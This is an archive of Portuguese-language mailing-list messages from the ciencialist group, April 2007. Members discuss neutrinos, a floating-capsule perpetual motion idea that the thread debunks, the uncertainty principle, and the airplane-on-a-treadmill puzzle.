Se o menino tem exatos menos 9 meses, ele nascerá daqui a nove
meses, então:

Resposta do problema proposto:
O pai está comendo a mãe enquanto você esquenta a cabeça.

Brilhante !!!!!!!!!!

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SUBJECT: Re: [ciencialist] Re: - Questão do ITA. muito boa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/04/2007 16:58

xiiii.... me chamou de Sr..... vejo temporais a boreste....

silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, April 13, 2007 10:58 AM
Subject: [ciencialist] Re: - Questão do ITA. muito boa


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Silvio, é difícil acreditar que uma questão dessa tenha sido
> utilizada em uma prova do ITA...

Claro q não foi e Seu Silvio sabe disso. É apenas uma piada. Velha. Q
já foi postada na lista no pleistoceno internético.

http://br.groups.yahoo.com/group/ciencialist/message/50639
http://br.groups.yahoo.com/group/ciencialist/message/13616

[]s,

Roberto Takata






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Neutrino
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 17:07

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Lá, os neutrinos são detectados ao vivo?

Q eu saiba não. Os neutrinos são detetados indiretamente por meio de
sensores de fótons produzidos pela interação com a matéria.

> É possível capturar algum?

Não propriamente - isto é, confinados. Pelo menos não com a tecnologia
atual.

> Qual a natureza deles?

São partículas elementares. Dentro do modelo de supercordas, são
cordas com uma vibração específica.

> No CERN (quando entrará em funcionamento?) um neutrino pode ser
> desintegrado?

No CERN neutrinos devem ser *produzidos*. Como partícula elementar,
tto qto se sabe um neutrino não pode ser desintegrado em partículas
menores. Mas eventualmente podem se transformar de um tipo para outro.

http://physicsweb.org/articles/news/3/4/2/1

[]s,

Roberto Takata



SUBJECT: A energia da flutuação
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 18:03

Olá a todos,

Pergunto aos mestres: O que há de errado?

Podemos ter extra energia útil com esta idéia:

http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=

Agora estou novamente em dúvida.

Socorro Professor!

Se já apareceu por aqui, desculpem-me.

Abraços

Tipoalgo





SUBJECT: Res: [ciencialist] A energia da flutuação
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 18:34

[E]> e pra tirar a bóia de dentro do tubo cheio d'água
pra voltar pra corrente?


----- Mensagem original ----
De: Tipoalgo <tipoalgo@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 14 de Abril de 2007 18:03:17
Assunto: [ciencialist] A energia da flutuação













Olá a todos,



Pergunto aos mestres: O que há de errado?



Podemos ter extra energia útil com esta idéia:



http://www.youtube. com/watch? v=gxnHJoyrQpM& mode=related& search=



Agora estou novamente em dúvida.



Socorro Professor!



Se já apareceu por aqui, desculpem-me.



Abraços



Tipoalgo








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SUBJECT: Fwd: Minicurso Mecânica Estatistica não Extensiva
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 18:38

Prezado (a) Senhor(a),

Temos o prazer de informar que as notas de aulas dos Professores
C.Tsallis, A. Robledo e A. Rapisarda do Minicurso "Mecânica Estatística
não Extensiva", que aconteceu no CBPF na semana de 02 a 06 de abril , já
estão disponíveis no endereço abaixo :

http://www.cbpf.br/NextCurso2007/

Agradecemos a sua participação que contribuiu para o sucesso do nosso
minicurso.

Atenciosamente,

Celia Maria Carneiro Monteiro
secretaria


SUBJECT: Re: Res: [ciencialist] A energia da flutuação
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 18:45

Olá Eurico,

Esta eu posso responder.

Você fecha a parte inferior do cano, mantendo a coluna cheia, e retira
a cápsula na parte superior.

Abraços

Tipoalgo



SUBJECT: Re: A energia da flutuação
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 18:55

Olá Novamente a todos,

Encontrei o erro!

A cápsula ao entrar na coluna retira o equivalente volume de água
desta. Este volume deve ser reposto de alguma forma.

Acho que ai está o problema.

Abraços

Tipoalgo




SUBJECT: Determinismo e incerteza
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/04/2007 18:56

Olá,

O "princípio da Incerteza" diz que apenas da impossibilidade de se *medir* a
posição de um elétron, por exemplo, e não que sua posição não tenha causas,
certo? Pergunto isso porque lí em vários lugares que esta teoria da física
quântica "mata" o determinismo...

[]´,s
Jeff.



SUBJECT: Res: [ciencialist] Re: A energia da flutuação
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 21:30

[E]>acho que é por aí. a energia que faz a cápsula se elevar
é só uma fração da necessária pra encher a coluna




----- Mensagem original ----
De: Tipoalgo <tipoalgo@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 14 de Abril de 2007 18:55:49
Assunto: [ciencialist] Re: A energia da flutuação













Olá Novamente a todos,



Encontrei o erro!



A cápsula ao entrar na coluna retira o equivalente volume de água

desta. Este volume deve ser reposto de alguma forma.



Acho que ai está o problema.



Abraços



Tipoalgo














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SUBJECT: Res: Res: [ciencialist] A energia da flutuação
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 21:41

[E]> olá Tipo,

boa! mas as válvulas provavelmente gastariam mais
energia que a máquina... se a cápsula bóia, a corrente
não consegue gerar muita energia (concorda?)
daí alguma coisa vai ter que tirar a cápsula da água
e engatar na corrente... se precisar d'um peão
na máquina vai ter que dar comida pra ele, etc...
(além disso tem a água que sai da coluna, como
vc apontou). de novo, o moto-perpétuo, que faz
a gente gastar tempo e energia pensando nele...
mas é divertido e treina o senso crítico.

[]s



----- Mensagem original ----
De: Tipoalgo <tipoalgo@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 14 de Abril de 2007 18:45:39
Assunto: Re: Res: [ciencialist] A energia da flutuação













Olá Eurico,



Esta eu posso responder.



Você fecha a parte inferior do cano, mantendo a coluna cheia, e retira

a cápsula na parte superior.



Abraços



Tipoalgo














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SUBJECT: Re: [ciencialist] A energia da flutuação
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/04/2007 22:43

Ô Tipo:
pra mim, o peso do equipamento e a entrada da água se não for por gravidade (o que gasta tubulação) será bombeada. Essa gambiarra não acende nem lanterna: se a boia abarra na abertura inferior da torre, ocorre um desaranjo em todo o sistema por falta de constância no acionamento do gerador.
Acredito que um bom eng. eletricista explica isso melhor.

sds.,

silvio
----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 14, 2007 6:03 PM
Subject: [ciencialist] A energia da flutuação


Olá a todos,

Pergunto aos mestres: O que há de errado?

Podemos ter extra energia útil com esta idéia:

http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=

Agora estou novamente em dúvida.

Socorro Professor!

Se já apareceu por aqui, desculpem-me.

Abraços

Tipoalgo






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] A energia da flutuação
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/04/2007 22:47

custo da mão-de-obra e do tempo perdido:

Acredito que o projeto foi feito em Lisboa.

silvio.

----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 14, 2007 6:45 PM
Subject: Re: Res: [ciencialist] A energia da flutuação


Olá Eurico,

Esta eu posso responder.

Você fecha a parte inferior do cano, mantendo a coluna cheia, e retira
a cápsula na parte superior.

Abraços

Tipoalgo






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SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 23:10

Havia pelo menos duas interpretações possíveis para o princípio da
incerteza. Uma é exatamente essa, a de q a posição do elétron é
determinada a cada momento, mas q apenas não somos capazes de saber
seu valor. A outra, a da escola de Copenhagen é a de q a posição do
elétron, antes da medição, não é determinada.

Um cara chamado John Bell bolou um teorema matemática q previa
resultados diferentes para ambas as situações. Décadas depois, a
chamada inequação de Bell foi usada e o resultado dos experimentos
batiam com a interpretação de Copenhagen.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Jefferson" <jeff@...> escreveu
> O "princípio da Incerteza" diz que apenas da impossibilidade de se
> *medir* a posição de um elétron, por exemplo, e não que sua posição
> não tenha causas, certo? Pergunto isso porque lí em vários lugares que
> esta teoria da física quântica "mata" o determinismo...




SUBJECT: Re: [ciencialist] A energia da flutuação
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 00:35

Tem só uma coisa que ninguem lembrou, a água não ficaria no tubo, ele é aberto em cima e em baixo, então a água não para, ela escoa toda.


Até.

Lourenço.

listaslou@yahoo.com.br




----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 14, 2007 10:43 PM
Subject: Re: [ciencialist] A energia da flutuação


Ô Tipo:
pra mim, o peso do equipamento e a entrada da água se não for por gravidade (o que gasta tubulação) será bombeada. Essa gambiarra não acende nem lanterna: se a boia abarra na abertura inferior da torre, ocorre um desaranjo em todo o sistema por falta de constância no acionamento do gerador.
Acredito que um bom eng. eletricista explica isso melhor.

sds.,

silvio
----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 14, 2007 6:03 PM
Subject: [ciencialist] A energia da flutuação

Olá a todos,

Pergunto aos mestres: O que há de errado?

Podemos ter extra energia útil com esta idéia:

http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=

Agora estou novamente em dúvida.

Socorro Professor!

Se já apareceu por aqui, desculpem-me.

Abraços

Tipoalgo

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Version: 7.5.446 / Virus Database: 269.4.0/761 - Release Date: 14/4/2007 21:36

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 00:45

Caro, Prof. Jos� Carlos!

Sabemos que todo movimento tem um ponto como refer�ncia, o ponto zero.
Usualmente, consideramos que a Terra est� "fixa". Sua superf�cie est� sempre
no mesmo lugar. Desconsideramos todos os demais movimentos, como: rota��o,
transla��o, nuta��o, precess�o do equin�cio e transla��o rumo ao Apex, ponto
imagin�rio entre as constela��es de H�rcules e Balan�a. Entretanto, para um
c�lculo de trajet�rias fora da superf�cie terrestre, como ocorre em naves espaciais,
j� n�o podemos desconsiderar os principais movimentos da Terra, da Lua, do
Sol e dos planetas. Esse coment�rio inicial � para relembrar e alertar que
*todos os movimentos* s�o relativos a algum ponto de refer�ncia. A depender
da escolha dessa refer�ncia podemos ter v�rias interpreta��es. No nosso caso
h� apenas duas possibilidades b�sicas a serem utilizadas: um ponto no
solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de minha
�ltima mensagem para continuar os esclarecimentos ali j� iniciados.

[ Vc - e acredito que a grande maioria dos participantes da lista - tamb�m
n�o acharam a solu��o que eu achei desde a primeira vez que refleti sobre o
problema aqui na lista, h� pelo menos dois anos. S� que eu tinha dispensado
a solu��o que vcs v�em porque, nesta solu��o em que ele voa, o avi�o se
deslocava com o dobro da velocidade *em rela��o � esteira*... Mas quando o
referencial � o solo-terra tanto o avi�o como a esteira se deslocam na mesma
velocidade, em sentidos contr�rios. ]

1. Ponto de refer�ncia no solo-terra, eixo positivo � sua direita e negativo
� esquerda.
Ve = velocidade da esteira
Va = velocidade do avi�o
Va = -Ve
O ponto 0 no solo-terra corresponde a um ponto (') na esteira

Ve =]> avi�o
<--"-------------------'------------------"----- esteira
_____________0_____________ solo-terra
- neg. + pos.

| 1000 | 1000 |

Ap�s 10 segundos o avi�o atingiu uma velocidade Va=180m/s
no ponto (") 1000 m � direita e a esteira acelerou simultaneamente
com o avi�o e atingiu a mesma velocidade Ve=180m/s, ap�s os
10s, se deslocando 1000m � esquerda at� o ponto eq�idistante (")
Em rela��o ao ponto 0 no solo-terra o avi�o percorreu 1000m,
mas em rela��o ao ponto (') na esteira, que coincidia com o
ponto 0 no solo-terra, ele se deslocou 2000m.
*Em rela��o ao ponto (') na esteira* o avi�o est� se deslocando
com o *dobro da velocidade* com que se desloca a esteira em
rela��o ao ponto 0 no solo-terra.

1.1 - Avi�o parado-estacionado e a esteira acionada
acelerando at� atingir a velocidade negativa -Ve.
Ap�s 10 segundo deslocou-se 1000 metros � esquerda.


=]> avi�o pousado sobre a esteira com turbinas desligadas
� carregado para tr�s mil metros do ponto 0 em solo-terra.
--"---------------------'--------------------- esteira
_____________0___________ solo-terra c/ ponto de ref. 0
| 1000m |


1.2 - Se as turbinas do avi�o estivessem acionadas e ele tivesse acelerado
simultaneamente com a esteira - conforme o enunciado do problema - ele teria
percorrido sobre a esteira os mesmos 1000 metros � direita. Isto �,
continuaria posicionado no ponto 0 no solo-terra. Isto �, n�o teria se
movimentado em rela��o ao solo e ao ar que o circunda. � como se estivesse
estacionado no ponto 0 no solo-terra. Sabemos que avi�o estacionado n�o al�a
v�o... A n�o ser quando levado por um fura��o.

Caso n�o tenha entendido alguma passagem pe�o especificar.

Abra�os

Jos� Renato
..................................................

From: "Jos� Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 14, 2007 1:29 AM
Subject: [ciencialist] P/ JC - Re: Balan�o do avi�o - N�o to entendendo nada
:)


Ol� Jos� Renato,

Logo nas primeiras aulas de F�sica, para os primeiros colegiais da
escola p�blica onde leciono, eu ensino meus alunos que parte da
metodologia de sucesso da ci�ncia, tamb�m chamada �s vezes de
"metodologia cient�fica", inclui "manter-se focado no problema a ser
resolvido e nos fen�menos relevantes envolvidos nele". Assim, se eu
tivesse que explicar o v�o do avi�o para meus alunos eu diria a eles
que a �nica coisa que faz um avi�o voar � � diferen�a de press�o entre
a parte de cima e de baixo das asas dele(e possivelmente de outras
partes tamb�m, dependendo do modelo aerodin�mico), que causa uma for�a
resultante para cima suficiente para elev�-lo.

Assim, qualquer mecanismo que seja empregado para que o avi�o voe deve
criar essa diferen�a de press�o e, no caso dos avi�es que n�o usam
propuls�o por foguetes, isso se d� devido a um certo "Princ�pio de
Bernoulli" e ao formato abaulado e desigual das partes superior e
inferior das asas do avi�o. O Princ�pio de Bernoulli � um princ�pio
pouco comentado na escola (mesmo nas particulares), embora seja
riqu�ssimo como fonte inspiradora para se explicar centenas de
fen�menos do nosso cotidiano que v�o desde o velho caso do avi�o at� a
raz�o pela qual as roupas secam mais r�pido no varal em dias de vento.
Enfim, desde que passe ar pelas asas do avi�o com velocidade
suficiente para que seja gerada a for�a resultante capaz de elev�-lo,
ele voar�. Pouco importa o que se passa na casa do vizinho, donde vem
que, segundo a metodologia cient�fica, n�o devemos incluir os vizinhos
quando estamos pesquisando algo em nossa pr�pria casa. :)

S� para finalizar, seja l� o que for que voc� fa�a com a esteira o
resultado ser� irrelevante nas condi��es do problema, pois a esteira
n�o tem nenhuma influ�ncia sobre o movimento horizontal do avi�o e
serve somente para lhe dar sustenta��o em terra, n�o influindo de
forma alguma na velocidade com que o vento passa pelas asas do avi�o.

Como voc� pode ver, as aulas iniciais sobre a F�sica e sua metodologia
de estudo da natureza s�o fundamentais para que meus alunos economizem
seus neur�nios focando-se apenas nos aspectos relevantes dos
problemas. � claro que isso poder� limitar um pouco a criatividade
deles, mas eu acredito que essa criatividade � melhor empregada em
problemas originais e nas tentativas iniciais de abordagem do problema
do que na busca de novas solu��es para problemas "cl�ssicos" j�
exaustivamente estudados e resolvidos.

Ainda n�o sei qual foi a "outra" solu��o que voc� achou...

Abra�os,
Prof. JC


--- Em ciencialist@yahoogrupos.com.br, Jos� Renato <jrma@...> escreveu
>
> JC, n�o h� porque se desculpar!
>
> Vc - e acredito que a grande maioria tamb�m - n�o acha a solu��o que eu
> achei desde a primeira vez que refleti sobre o problema aqui na
lista, h�
> pelo menos dois anos.
>
> S� que eu tinha dispensado a solu��o que vcs v�em porque, nesta
solu��o em
> que ele voa, o avi�o se deslocava com o dobro da velocidade *em
rela��o �
> esteira*... Mas quando o referencial � o solo-terra tanto o avi�o
como a
> esteira se deslocam na mesma velocidade, em sentidos contr�rios.
>
> Acredito que agora vc consiga ver o esquema que eu vejo.
>
> []s
>
> Jos� Renato
> ................................................
>
> From: "Jos� Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 1:32 AM
> Subject: [ciencialist] P/ JC - Re: Balan�o do avi�o - N�o to
entendendo nada
> :)
>
>
> Ol� Jos� Renato,
>
> Desculpe-me, mas minha ignor�ncia s� permite achar uma solu��o para as
> condi��es descritas do problema idealizado: o avi�o voa.
>
> Abra�os,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, Jos� Renato <jrma@> escreveu
> >
> > Ol�, Jos� Carlos!
> >
> > N�o gostaria de lhe estragar o prazer de achar as duas solu��es
> poss�veis
> > para a quest�o apresentada. Lembro que esse mesmo problema foi
> apresentado
> > h� tempos na lista e no final ficaram todos dizendo que voa e
apenas eu
> > dizendo que n�o. Agora, espero que n�o termine do mesmo jeito. Tenho
> > colocado v�rias dicas para serem analisadas de modo a acompanhar meu
> > racioc�nio l�gico-matem�tico. Mas at� agora parece que ningu�m
> conseguiu
> > entender minhas explica��es.
> >
> > Abra�os
> >
> > Jos� Renato
> > ...................................................
> >
> > From: "Jos� Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, April 11, 2007 12:12 AM
> > Subject: [ciencialist] P/ JC - Re: Balan�o do avi�o - N�o to
> entendendo nada
> > :)
> >
> >
> > Ol� JR,

(apaguei o restante)


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: A energia da flutuação
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 03:09

Meu japonês é péssimo, mas energia "extra", do tipo "grátis",
contraria o que sabemos sobre os princípios de conservação.

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, "Tipoalgo" <tipoalgo@...> escreveu
>
> Olá a todos,
>
> Pergunto aos mestres: O que há de errado?
>
> Podemos ter extra energia útil com esta idéia:
>
> http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=
>
> Agora estou novamente em dúvida.
>
> Socorro Professor!
>
> Se já apareceu por aqui, desculpem-me.
>
> Abraços
>
> Tipoalgo
>




SUBJECT: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 03:53

Olá José Renato,

Acredito que sua dúvida seja relevante e talvez se deva a alguns
problemas na sua formação básica em Física. Assim, vou tentar ajudar
no que for possível e rezarei para que seus vícios de aprendizagem não
sejam maiores que minha didática. Então vamos lá... (Por partes)

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.

Vamos começar por aqui. Talvez o que você tenha dito seja que "para se
descrever um movimento é bom estabelecer um referencial em relação ao
qual efetuaremos medidas". O "Ponto zero" a que você se refere é a
"origem" do referencial escolhido. Os referenciais não são do
"movimento", mas sim do "observador"; daí decorre que, como você
parece estar tentando fazer, diferentes observadores podem ter
diferentes descrições para um mesmo movimento caso tenham escolhido
referenciais diferentes. Perfeito, mas a "descrição do movimento" não
é o movimento em si. Procure lembrar disso.

> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança.

Sim, essa é uma simplificação útil na maioria dos casos.

> Entretanto, para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas.

Na verdade podemos, pois os referenciais, como você parece saber bem,
podem ser escolhidos conforme a conveniência do observador. Nada
impede que descrevamos os movimentos de uma nave tomando como
referencial a Terra, o Sol ou qualquer outro lugar. A questão é sempre
a mesma: "qual é o melhor referencial para se descrever o movimento
com o mínimo de complexidade possível?". Procure lembrar disso também.

> Esse comentário inicial é para relembrar e alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações.

Exato. E isso vale para movimentos na Terra ou fora dela.

> No nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira.

Não é verdade. Talvez aqui esteja começando o problema.

Como você mesmo acabou de dizer acima, qualquer referencial pode ser
escolhido e, como eu frisei um pouco mais acima, é bom escolhermos um
referencial que torne a descrição do movimento tão simples quanto
possível.

No caso da descrição do movimento de um avião o que parece ser mais
simples é escolher a Terra como referencial e desprezar todos os seus
movimentos (rotação, translação, etc.).

> Trago a seguir o texto de minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.

OK. Sua interpretação está muito boa.

> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.

ERRADO. A esteira NÃO CARREGA o avião. Ele permanecerá parado sobre o
ponto O. Veja que se a esteira carregasse o avião, então no primeiro
caso o avião deveria ter ficado em repouso sobre o ponto O (pois ele
andou 1000 m para a direita e subtraindo os 1000 que a esteira o teria
carregado para a esquerda teríamos um deslocamento total em relação à
ao solo igual zero!); se ele não ficou parado no primeiro caso é
porque estamos admitindo que o movimento da esteira não afeta o do
avião (a esteira e o avião não trocam forças horizontais, apenas
verticais).

Observe que você ainda está usando o referencial do solo e o problema
parece não ser a escolha do referencial e sim a maneira como você
trata a interação entre a esteira e o avião. Vejamos adiante...


> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita.

Corretíssimo, e lembrando sempre que estamos tomando o solo como
referêncial.

> Isto é,
> continuaria posicionado no ponto 0 no solo-terra.
> Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda.
> É como se estivesse
> estacionado no ponto 0 no solo-terra.

ERRADO, pois ele não foi arrastado para trás pela esteira e, da mesma
forma, suas turbinas não interferem no movimento da esteira, mas tão
somente no movimento do avião. Assim, em relação ao solo, o avião
teria se deslocado 1000 m para a direita, exatamente como no primeiro
caso.

> Sabemos que avião estacionado não alça
> vôo... A não ser quando levado por um furação.

Exatamente, no entanto o avião não está parado em relação ao chão e,
por isso, ele voa! :)

> Caso não tenha entendido alguma passagem peço especificar.

Entendi todas as passagens. Espero que tenha entendido as explicações.

Para complementar meus comentários e tentar ajudá-lo um pouco mais a
superar esse problema de interpretação sugiro que atente para o fato
de que seu erro não diz respeito aos referenciais adotados, que
naverdade foram o mesmo - o chão - nos dois casos, mas sim o de
admitir dois tipos de interação diferentes entre a esteira e o avião:

Primeiro caso: você considerou, corretamente (pelas condiçõe do
problema), que o movimento da esteira não afeta o movimento do avião,
ou seja, a esteira não carrega o avião;

Segundo caso: você considerou no mesmo problema, e erroneamente (pelas
condições do problema), que o movimento da esteira afeta o movimento
do avião, ou seja, que a esteira carrega o avião.

Provavelmente seu erro se deve a uma má compreensão conceitual do
"atrito", pois no primeiro caso você consegue facilmente desprezar o
atrito dos rolamentos da roda do avião, o que faz com que você perceba
corretamente que o movimento da esteira apenas aumenta a velocidade de
rotação das rodas do avião, mas não afeta o movimento do próprio
avião. Já no segundo caso, talvez pelo fato de que o avião esteja
inicialmente em repouso, você passou a "admitir um atrito inexistente"
que "carregaria o avião" no sentido do movimento da esteira; porém,
tudo o que você veria seria uma esteira rolando para a esquerda, as
rodas do avião girando e o avião parado até o momento em que liga sua
turbinas e então começa a se mover para a direita.

Então seu problema não é com os referenciais (e veja que você usou
sempre o mesmo referencial), mas sim com o conceito de atrito (e,
provavelmente, também com o conceito de inércia).

Espero ter ajudado.

Abraços,
Prof. JC


> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
